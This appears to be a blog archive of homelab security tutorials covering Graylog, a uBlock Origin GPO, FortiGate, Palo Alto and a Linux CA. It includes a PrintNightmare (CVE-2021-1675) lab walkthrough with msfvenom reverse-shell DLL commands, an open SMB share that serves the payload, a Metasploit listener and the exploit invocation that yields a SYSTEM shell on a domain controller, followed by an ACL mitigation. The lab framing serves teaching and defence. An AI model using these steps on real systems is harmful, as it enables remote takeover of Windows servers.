Category Archives: Security

Install Graylog open-source log management on Linux server

Graylog is an open-source log management system. Graylog centrally captures, collects, enhances, stores, and analyzes log data. It is an affordable alternative to Splunk.

Below are a couple of steps to install Graylog on CentOS 7.

Edit interface, change ONBOOT from “no” to “yes”, and restart network service.

Step #1: Update your system and install needed packages.

hostnamectl set-hostname graylog
yum update -y
yum install epel-release
yum install pwgen vim

Step #2: Install JAVA

yum install java-1.8.0-openjdk-headless.x86_64

Check the java version.

java -version

Create a repository file. Then add the content below to this repository.

vim /etc/yum.repos.d/mongodb-org.repo
name=MongoDB Repository

Install MongoDB

yum install mongodb-org

Enable and start mongoDB service on system.

sudo systemctl daemon-reload
sudo systemctl enable mongod.service
sudo systemctl start mongod.service
sudo systemctl --type=service --state=active | grep mongod

Check MongoDB service port.

netstat -antp | grep 27017

Step #4: Installing Elasticsearch

Graylog can be used with Elasticsearch 6x, 7.x, In this lab, I have used version 6x of Elasticsearch.

Install the Elastic GPG key.

rpm –import

Create a repository, then add the following contents to the file.

vim /etc/yum.repos.d/elasticsearch.repo

name=Elasticsearch repository for 6.x packages

Install the open-source version of Elasticsearch.

yum install elasticsearch-oss

Modify the Elasticsearch configuration file. Set the cluster name to graylog and add “action.auto_create_index: false” to the file.

vim /etc/elasticsearch/elasticsearch.yml

Save and exit the file.

Enable, start and check the status of elastic search on the system.

sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service
sudo systemctl restart elasticsearch.service
sudo systemctl --type=service --state=active | grep elasticsearch

Check elastic search health.

curl -XGET 'http://localhost:9200/_cluster/health?pretty=true'

Step #5: Installing the Graylog

Now install the Graylog repository configuration with the following commands:

rpm -Uvh

Install Graylog-server.

yum install graylog-server

Configure Graylog:

Add “password_secret” and “root_password_sha2” to server.conf file.

Generate password_secret.

pwgen -N 1 -s 96

Generate root_password_sha2.

echo -n foss@dan123 | sha256sum | cut -d” ” -f1

Edit etc/graylog/server/server.conf file.

vim /etc/graylog/server/server.conf

Uncomment the following line.

http_bind_address =

and add http_bind_address =

Enable and Start service.

systemctl enable graylog-server.service
systemctl start graylog-server.service

Monitor server logs.

tail -f /var/log/graylog-server/server.log

Copy Geo-IP database to Graylog server.

Check log again.

Check Graylog Server listening port.

netstat -antp | grep 9000

Check the port is opened on a remote host.

Allow Graylog service on Firewall.

Access Graylog web interface on another machine.

Deploy Ublock Origin Ad blocker via a GPO

According to (, Ublock Origin is an efficient blocker add-on for various browsers. Fast, potent, and lean. uBlock Origin is NOT an “ad blocker”: it is a wide-spectrum blocker — which happens to be able to function as a mere “ad blocker”. The default behavior of uBlock Origin when newly installed is to block ads, trackers, and malware sites.

+ Create a central store for GPO

Copies Chrome, Firefox, MS Edge Policy templates under C:\Windows\SYSVOL\sysvol\cisalab.local\Policies\PolicyDefinitions (copy to C:\Windows\SYSVOL\sysvol rather than \\SERVER\SYSVOL folder)

Google Chrome:


MS Edge:

+ Create a new Ublock Origin GPO.

+ Configure UBlock Origin GPO.

Google Chrome. Control which extensions are installed silently – Enabled cjpalhdlnbpafiamejdnhcphjbkeiagm;


Extensions to Install – Enabled

MS Edge:

Control which extensions are installed silently – Enabled odfafepnkmbhccpbejgmiehpchacaeak;

+ Link UBlock Origin GPO to Domain computers group.

+ Restart Windows 10 domain-joined client to test.

Ublock Origin has been installed automatically on Windows 10 domain clients.

Configure host-check for SSLVPN connections on FortiGate

This is a diagram to do a host-check SSLVPN connections lab.

Enable tunnel-mode SSLVPN

Enable host-check for Antivirus and Firewall enabled on Fortinet.

Windows machine is up to date and Windows Firewall is enabled.

Setup Forticlient on Windows machine.

Move to unpatched and disabled Windows firewall’s machine.

SSLVPN connection is failed.

Enabled Windows Firewall

Windows OS is not up to date.

Creating an SSLVPN connection again, it was failed.

Checking on Forticlient log and Fortinet Web management console.

Configure DoS Policy on FortiGate

This is a diagram to do a Fortinet Dos Lab.

Fortinet – Policy and Objects – IPv4 DoS Policy.

Change TCP_port_scan setting to 5 and ICMP_flood setting to 4.

Configure quarantine setting on the Fortinet DoS Policy.

config firewall DoS-policy

    edit 1

        set interface “port1”

        set srcaddr “all”

        set dstaddr “all”

        set service “ALL”

        config anomaly

            edit “icmp_flood”

                set status enable

                set log enable

                set quarantine attacker

                set quarantine-expiry 5m 

                set quarantine-log disable

                set threshold 4


        config anomaly

            edit “tcp_port_scan”

                set status enable

                set log enable

                set quarantine attacker

                set quarantine-expiry 5m 

                set quarantine-log disable

                set threshold 5


Sending 5 packets per second, Fortinet starts to block the excessive ICMP packets.

Check Fortinet Anomaly log.

Fortinet Fortiview.

Fortinet Monitor – Banned IP. AT IP Address was blocked by Fortinet Firewall.

Doing port scan on Kali machine by using Nmap command.

Fortinet was blocked port scan on the opened port 80.

Create a Global Protect VPN on Palo Alto

This is a lab to use for deploying Global Protect VPN on PA.

Create a username.

Create an authentication profile.

Assign user to this profile.

Configure Global Protect.

Create a new tunnel (tunnel 2) for GLobal Protect.

Configure Global Protect Portal.

Define my Gateway.

Create a new tunnel (tunnel2) for Global Protect.

Configure security policy to allow traffic from VPN to trusted zone and vice versa.

Enable “User Authentication ACL” setting on the untrusted zone.

Access global protect VPN from a Windows client.

Ping a Windows machine on a trusted (inside) network.

Access Global Protect from Kali Linux.

Download Global Protect (.tgz) file, then extract the file, and install the program.

Basic setup on Palo Alto

Basic setup on Palo Alto.

admin@PA-VM> configure
admin@PA-VM# set deviceconfig system type static
admin@PA-VM# set deviceconfig system netmask
admin@PA-VM# set deviceconfig system ip-address netmask
admin@PA-VM# commit

Assign an IP address for the E1/1 interface.

Assign DHCP IP address on E1/2 interface.

Create a virtual Router on PA.

Create an internal DHCP server on PA.

Create a basic rule on PA.

Create a SNAT rule on PA.

Monitor PA.

Lab Demonstration for Windows Print Spooler 0day Exploit on CVE-2021-1675


The exploit code

Step1: Setup the Lab

1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is

Print Spooler service is running on the DC.

1 Kali Linux (AT) with IP address is

Step 2: How to set up Kali

Upgrade Python

sudo apt-get update

sudo apt-get upgrade

sudo apt-get install python3-venv

1. The best practice is to create Python virtual Environment

python3 -m venv PrintNightmare

source PrintNightmare/bin/activate

2. clone the repo and install the custom Impacket version:

git clone

git clone

cd impacket

python3 ./ install

3. Set up SMB share

(Use this method to allow the Windows servers to download the malicious codes on AT machine)

copy the original smb.conf file and create a backup file

cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

now on the smb.conf change to this new configuration File


map to guest = Bad User

server role = standalone server

usershare allow guests = yes

idmap config * : backend = tdb

smb ports = 445 [smb]

comment = Samba

path = /tmp/

guest ok = yes

read only = no

browsable = yes

force user = nobody

Spin up SMB share: impacket-smbserver smb /tmp/

In case you have some problems with the SMB try to use build-in SMBD service

service smbd start

service smbd restart

4. Payload Creation:

Create Reverse shell Payload as a DLL

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR AT IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll

AT creates a reverse shell connection with IP address is (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on /tmp/reverse.dll

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -o /tmp/reverse.dll

5. Set up a listener Use Metasploit tool to create a revere shell session (a listener)


use multi/handler

set PAYLOAD windows/x64/shell_reverse_tcp


set LPORT 443 run

6. Windows Environment:

you need to create a dc with an active directory (cisalab.local) create a low privilege user (test/123456)

7. Download and run shellcode

python3 tle:123456@ ‘\\\smb\reverse.dll’

AT will create a connection to Windows server (DC1 – with username/password is tle/123456.

Then the malicious code will be downloaded and run from the AT machine (\\\smb\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.

Step 3. Live Demonstration

The shell code is running on the AT machine

python3 cisalab.local/tle:123456@ '\\\smb\reverse.dll' 

The malicious code is downloaded but it is blocked by Windows Defender on Windows servers

So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.

If Windows Defender is disabled.

Run the exploit code again.

We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.

The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on “C:\Windows\System32\spool\drivers\”.

The shell code (reverse.dll) is successfully dropped on the folder named “3”. It may be a name when AT has created a reverse shell session.

Step 4: PREVENTION when the print spooler service is still running

Using PowerShell to create a ACL to prevent the malicious code to drop on the “C:\Windows\System32\spool\drivers\”

Before applying the ACL.

After implementing the ACL.

By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\Windows\System32\spool\drivers.

Run the exploit code again.

The trojan code cannot put its files on the directory (“RPRN SessionError: code: 0x3 – ERROR_PATH_NOT_FOUND – The system cannot find the path specified.”).

There is no trojan code has put on the directory.

Create Your Own Certificate Authority (CA) in Linux

A certificate authority (CA) issues digital certificates that certify the ownership of a public key by the named subject of the certificate.

Below are a couple of steps to install self-signed trusted Root CA on a Linux server.

Step #1: Install openssl

yum install openssl

Step #2: Creating your own CA

cd /etc/pki/CA/private/
openssl genrsa -aes128 -out ourCA.key 2048

Now create a Certificate Authority (CA) certificate using the ourCA.key.

openssl req -new -x509 -days 1825 -key /etc/pki/CA/private/ourCA.key -out /etc/pki/CA/certs/ourCA.crt

Next, create a local wildcard certificate (*.linuxlab.local) on your own CA.

openssl genrsa -out /etc/pki/tls/private/wildcard-cert.key 2048

Now, generate a CSR (Certificate Signing Request) for the wildcard cert.

openssl req -new -key /etc/pki/tls/private/wildcard-cert.key -out /etc/pki/tls/wildcard.csr

Using WinSCP to download a local Root CA self-signed public-key certificate to a Windows machine. Then, import it into the GPO of the Windows domain or any Windows/Linux/Mac web browser.